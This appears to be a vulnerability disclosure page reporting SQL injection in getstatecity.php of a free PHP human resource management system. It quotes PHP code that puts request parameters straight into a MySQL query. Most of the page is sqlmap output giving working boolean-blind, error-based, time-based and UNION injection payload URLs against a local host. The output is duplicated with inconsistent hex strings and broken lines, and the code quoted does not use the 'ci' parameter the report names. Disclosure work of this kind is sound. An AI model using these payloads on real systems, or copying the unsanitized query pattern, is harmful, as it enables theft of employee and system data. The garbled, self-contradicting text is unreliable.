



 main ▾

...

POC-Exp / The Human Resource Management System ci parameter is injected.pdf

 Hanfu-I Add files via upload History

 1 contributor

250 KB ...

SQL injection vulnerability exists in ci parameter of getstatecity.php file of human resource system, which may lead to leakage of important data of users or the system, harm system environment security, and cause information to be used by malicious users.

```
if($_GET["type"]=="c")
{
    $stateid = $_GET['si'];
    $cityidd = $_GET['sc'];
    $cityn = mysqli_query($db,"select * from city where StateId='$stateid' ORDER BY Name");
    $ReturnCityArray=array();

    while($row = mysqli_fetch_assoc($cityn))
    {
        array_push($ReturnCityArray, $row);
    }
    echo "<option value=''>-- Select City --</option>";
    foreach ($ReturnCityArray as $ca)
    {
        if($ca['CityId']==$cityidd)
            echo "<option value='".$ca['CityId']."' selected>".$ca['Name']."</option>";
        else
            echo "<option value='".$ca['CityId']."'>".$ca['Name']."</option>";
    }
}
```

-- Select City --
Sample 101
Sample 102
Manila
Muntinlupa
Los Angeles
Washington
San Francisco

Sqllmap

```
sqllmap identified the following injection point(s) with a total of 489 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: http://192.168.31.40:80/hrm/controller/getstatecity.php?Type=s&ci=-1' OR 3 RLIKE (SELECT (CASE WHEN (8867=8867) THEN 0x2d312532372532304f5225323033 ELSE 0x28 END))-- kagB21=6 AND 00015
5 -- &ss=selectedstateid

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: http://192.168.31.40:80/hrm/controller/getstatecity.php?Type=s&ci=-1' OR 3 AND (SELECT 8327 FROM(SELECT COUNT(*),CONCAT(0x7162716a71,(SELECT (ELT(8327=8327,1))),0x717a6a7071,FLOOR(RAND(0)))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) -- Akt721=6 AND 00015=00015 -- &ss=selectedstateid

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: http://192.168.31.40:80/hrm/controller/getstatecity.php?Type=s&ci=-1' OR 3 AND (SELECT 9956 FROM (SELECT(SLEEP(5)))Cr1Z) -- RWBo21=6 AND 00015=00015 -- &ss=selectedstateid

Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: http://192.168.31.40:80/hrm/controller/getstatecity.php?Type=s&ci=-1' OR 3 UNION ALL SELECT NULL,NULL,CONCAT(0x7162716a71,0x6767a414f4a4b4b44c4b6c6f454e6d4174687544634b48505a0b5350a616958746e153,0x717a6a7071) -- 21=6 AND 00015=00015 -- &ss=selectedstateid

Parameter: #2* (URI)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: http://192.168.31.40:80/hrm/controller/getstatecity.php?Type=s&ci=-1' OR 3 RLIKE (SELECT (CASE WHEN (5880=5880) THEN 0x2d312532372532304f522532303332 ELSE 0x28 END))-- 1NAw1=6 AND 00015
015 -- &ss=selectedstateid

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: http://192.168.31.40:80/hrm/controller/getstatecity.php?Type=s&ci=-1' OR 32 AND (SELECT 5238 FROM(SELECT COUNT(*),CONCAT(0x7162716a71,(SELECT (ELT(5238=5238,1))),0x717a6a7071,FLOOR(RAND(0)))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) -- FqP1=6 AND 00015=00015 -- &ss=selectedstateid

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: http://192.168.31.40:80/hrm/controller/getstatecity.php?Type=s&ci=-1' OR 32 AND (SELECT 8564 FROM (SELECT(SLEEP(5)))WUqf) -- Dnj11=6 AND 00015=00015 -- &ss=selectedstateid

Type: UNION query
Title: MySQL UNION query (NULL) - 3 columns
Payload: http://192.168.31.40:80/hrm/controller/getstatecity.php?Type=s&ci=-1' OR 32 UNION ALL SELECT CONCAT(0x7162716a71,0x69464072706f4b61726440424d74675464787074476a4e4551707274446d4c724e78738f5a,0x717a6a7071),NULL,NULL,41=6 AND 00015=00015 -- &ss=selectedstateid
```

Sqllmap attack

"attack"-sqllmap identified the following injection point(s) with a total of 489 HTTP(s) requests:

Parameter: #1* (URI)

Type: boolean-based blind

Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause

Payload: http://192.168.31.40:80/hrm/controller/getstatecity.php?Type=s&ci=-1' OR 3 RLIKE (SELECT (CASE WHEN (8867=8867) THEN 0x2d312532372532304f5225323033 ELSE 0x28 END))-- kagB21=6 AND 00015=00015 -- &ss=selectedstateid

Type: error-based

Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

Payload: `http://192.168.31.40:80/hrm/controller/getstatecity.php?Type=s&ci=-1' OR 3 AND (SELECT 8327 FROM (SELECT COUNT(*), CONCAT(0x7162716a71, (SELECT (ELT(8327=8327,1))), 0x717a6a7071, FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- AktT21=6 AND 00015=00015 -- &ss=selectedstateid`

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: `http://192.168.31.40:80/hrm/controller/getstatecity.php?Type=s&ci=-1' OR 3 AND (SELECT 9956 FROM (SELECT(SLEEP(5)))CrIZ)-- RVBo21=6 AND 00015=00015 -- &ss=selectedstateid`

Type: UNION query

Title: Generic UNION query (NULL) - 3 columns

Payload: `http://192.168.31.40:80/hrm/controller/getstatecity.php?Type=s&ci=-1' OR 3 UNION ALL SELECT NULL,NULL,CONCAT(0x7162716a71,0x676f7a414f4a4b4d644c4b6c6f454e6d4174687544634b48505a6b53566e6f5a616958746e6153,0x717a6a7071)-- -21=6 AND 00015=00015 -- &ss=selectedstateid`

Parameter: #2* (URI)

Type: boolean-based blind

Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause

Payload: `http://192.168.31.40:80/hrm/controller/getstatecity.php?Type=s&ci=-1' OR 32 RLIKE (SELECT (CASE WHEN (5840=5840) THEN 0x2d312532372532304f522532303332 ELSE 0x28END))-- INWA1=6 AND 00015=00015 -- &ss=selectedstateid`

Type: error-based

Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

Payload: `http://192.168.31.40:80/hrm/controller/getstatecity.php?Type=s&ci=-1' OR 32 AND (SELECT 5238 FROM (SELECT COUNT(*), CONCAT(0x7162716a71, (SELECT (ELT(5238=5238,1))), 0x717a6a7071, FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- fqRP1=6 AND 00015=00015 -- &ss=selectedstateid`

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: `http://192.168.31.40:80/hrm/controller/getstatecity.php?Type=s&ci=-1' OR 32 AND (SELECT 8564 FROM (SELECT(SLEEP(5)))VUqF)-- DnjI1=6 AND 00015=00015 --`

&ss=selectedstateid

Type: UNION query

Title: MySQL UNION query (NULL) - 3 columns

Payload: <http://192.168.31.40:80/hrm/controller/getstatecity.php?Type=s&ci=-1> OR 32
UNION ALL SELECT
CONCAT(0x7162716a71,0x69464972706f4b61726449424d74675464787074476a6e45517072744
46d4c724e7672546273495a,0x717a6a7071),NULL,NULL#1=6 AND 00015=00015 --
&ss=selectedstateid
---"

Source Code Download

"[https://www.sourcecodester.com/php/15740/human-resource-management-system-project-ph
p-and-mysql-free-source-code.html](https://www.sourcecodester.com/php/15740/human-resource-management-system-project-php-and-mysql-free-source-code.html)"

